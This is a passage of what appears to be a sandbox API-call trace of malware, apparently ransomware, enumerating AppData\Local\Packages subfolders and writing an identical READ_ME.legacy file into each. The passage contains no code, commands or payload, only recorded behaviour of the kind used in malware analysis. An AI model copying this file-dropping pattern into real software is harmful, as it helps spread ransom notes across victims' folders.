(lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Wallet_8wekyb3d8bbwe\\TempState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.wallet_8wekyb3d8bbwe\\tempstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e0 [0154.720] WriteFile (in: hFile=0x8e0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.721] CloseHandle (hObject=0x8e0) returned 1 [0154.721] FindNextFileW (in: hFindFile=0x61ea88, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc65c3617, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc65c3617, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc65c3617, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0154.721] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x771d0d50, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x77243451, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe3c22918, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x61eb48 [0154.721] FindNextFileW (in: hFindFile=0x61eb48, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x771d0d50, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x77243451, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe3c22918, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0154.721] FindNextFileW (in: hFindFile=0x61eb48, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x77243451, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x772696ba, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x772696ba, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AC", cAlternateFileName="")) returned 1 [0154.721] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy\\AC\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.apprep.chxapp_cw5n1h2txyewy\\ac\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e4 [0154.732] WriteFile (in: hFile=0x8e4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.733] CloseHandle (hObject=0x8e4) returned 1 [0154.733] FindNextFileW (in: hFindFile=0x61eb48, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x771d0d50, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x771d0d50, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x771d0d50, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0154.733] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy\\AppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.apprep.chxapp_cw5n1h2txyewy\\appdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e4 [0154.734] WriteFile (in: hFile=0x8e4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.735] CloseHandle (hObject=0x8e4) returned 1 [0154.735] FindNextFileW (in: hFindFile=0x61eb48, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x771d0d50, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x771d0d50, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x771d0d50, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0154.735] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy\\LocalCache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.apprep.chxapp_cw5n1h2txyewy\\localcache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e4 [0154.736] WriteFile (in: hFile=0x8e4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.737] CloseHandle (hObject=0x8e4) returned 1 [0154.737] FindNextFileW (in: hFindFile=0x61eb48, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x771d0d50, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x771d0d50, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x771d0d50, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0154.737] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy\\LocalState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.apprep.chxapp_cw5n1h2txyewy\\localstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e4 [0154.737] WriteFile (in: hFile=0x8e4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.738] CloseHandle (hObject=0x8e4) returned 1 [0154.738] FindNextFileW (in: hFindFile=0x61eb48, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3c22918, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe3c22918, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe3c22918, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0154.738] FindNextFileW (in: hFindFile=0x61eb48, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x771d0d50, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x771d0d50, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x771d0d50, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0154.738] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy\\RoamingState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.apprep.chxapp_cw5n1h2txyewy\\roamingstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e4 [0154.739] WriteFile (in: hFile=0x8e4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.739] CloseHandle (hObject=0x8e4) returned 1 [0154.740] FindNextFileW (in: hFindFile=0x61eb48, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x771d0d50, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x771d0d50, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x771f6fb5, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0154.740] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy\\Settings\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.apprep.chxapp_cw5n1h2txyewy\\settings\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e4 [0154.740] WriteFile (in: hFile=0x8e4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.741] CloseHandle (hObject=0x8e4) returned 1 [0154.742] FindNextFileW (in: hFindFile=0x61eb48, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x771d0d50, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x771d0d50, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x771d0d50, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0154.742] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy\\SystemAppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.apprep.chxapp_cw5n1h2txyewy\\systemappdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e4 [0154.742] WriteFile (in: hFile=0x8e4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.743] CloseHandle (hObject=0x8e4) returned 1 [0154.743] FindNextFileW (in: hFindFile=0x61eb48, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x771d0d50, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x771d0d50, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x771d0d50, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0154.743] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy\\TempState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.apprep.chxapp_cw5n1h2txyewy\\tempstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e4 [0154.743] WriteFile (in: hFile=0x8e4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.744] CloseHandle (hObject=0x8e4) returned 1 [0154.744] FindNextFileW (in: hFindFile=0x61eb48, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x771d0d50, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x771d0d50, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x771d0d50, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0154.744] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6bfb93d2, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x7975de94, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe3c48b68, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x61e488 [0154.744] FindNextFileW (in: hFindFile=0x61e488, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6bfb93d2, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x7975de94, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe3c48b68, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0154.744] FindNextFileW (in: hFindFile=0x61e488, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6c02bacc, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x3620a676, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3620a676, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AC", cAlternateFileName="")) returned 1 [0154.744] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\AC\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.assignedaccesslockapp_cw5n1h2txyewy\\ac\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e8 [0154.746] WriteFile (in: hFile=0x8e8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.747] CloseHandle (hObject=0x8e8) returned 1 [0154.747] FindNextFileW (in: hFindFile=0x61e488, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6bfdf615, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcf13d33b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6bfdf615, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0154.747] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\AppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.assignedaccesslockapp_cw5n1h2txyewy\\appdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e8 [0154.748] WriteFile (in: hFile=0x8e8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.749] CloseHandle (hObject=0x8e8) returned 1 [0154.749] FindNextFileW (in: hFindFile=0x61e488, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6bfdf615, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcf13dbc5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6bfdf615, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0154.749] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\LocalCache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.assignedaccesslockapp_cw5n1h2txyewy\\localcache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e8 [0154.749] WriteFile (in: hFile=0x8e8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.750] CloseHandle (hObject=0x8e8) returned 1 [0154.750] FindNextFileW (in: hFindFile=0x61e488, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6bfb93d2, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcf13e364, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6bfb93d2, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0154.750] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\LocalState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.assignedaccesslockapp_cw5n1h2txyewy\\localstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e8 [0154.750] WriteFile (in: hFile=0x8e8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.751] CloseHandle (hObject=0x8e8) returned 1 [0154.751] FindNextFileW (in: hFindFile=0x61e488, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3c48b68, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe3c48b68, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe3c48b68, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0154.751] FindNextFileW (in: hFindFile=0x61e488, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6bfb93d2, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcf13ea5f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6bfb93d2, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0154.751] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\RoamingState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.assignedaccesslockapp_cw5n1h2txyewy\\roamingstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e8 [0154.752] WriteFile (in: hFile=0x8e8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.753] CloseHandle (hObject=0x8e8) returned 1 [0154.753] FindNextFileW (in: hFindFile=0x61e488, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6bfdf615, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x712a64ad, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x712a64ad, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0154.753] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\Settings\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.assignedaccesslockapp_cw5n1h2txyewy\\settings\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e8 [0154.755] WriteFile (in: hFile=0x8e8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.756] CloseHandle (hObject=0x8e8) returned 1 [0154.756] FindNextFileW (in: hFindFile=0x61e488, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7962cbd4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7962cbd4, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7962cbd4, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0154.756] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\SystemAppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.assignedaccesslockapp_cw5n1h2txyewy\\systemappdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e8 [0154.757] WriteFile (in: hFile=0x8e8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.758] CloseHandle (hObject=0x8e8) returned 1 [0154.758] FindNextFileW (in: hFindFile=0x61e488, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6bfdf615, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcf1e0bc8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6bfdf615, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="TempState", 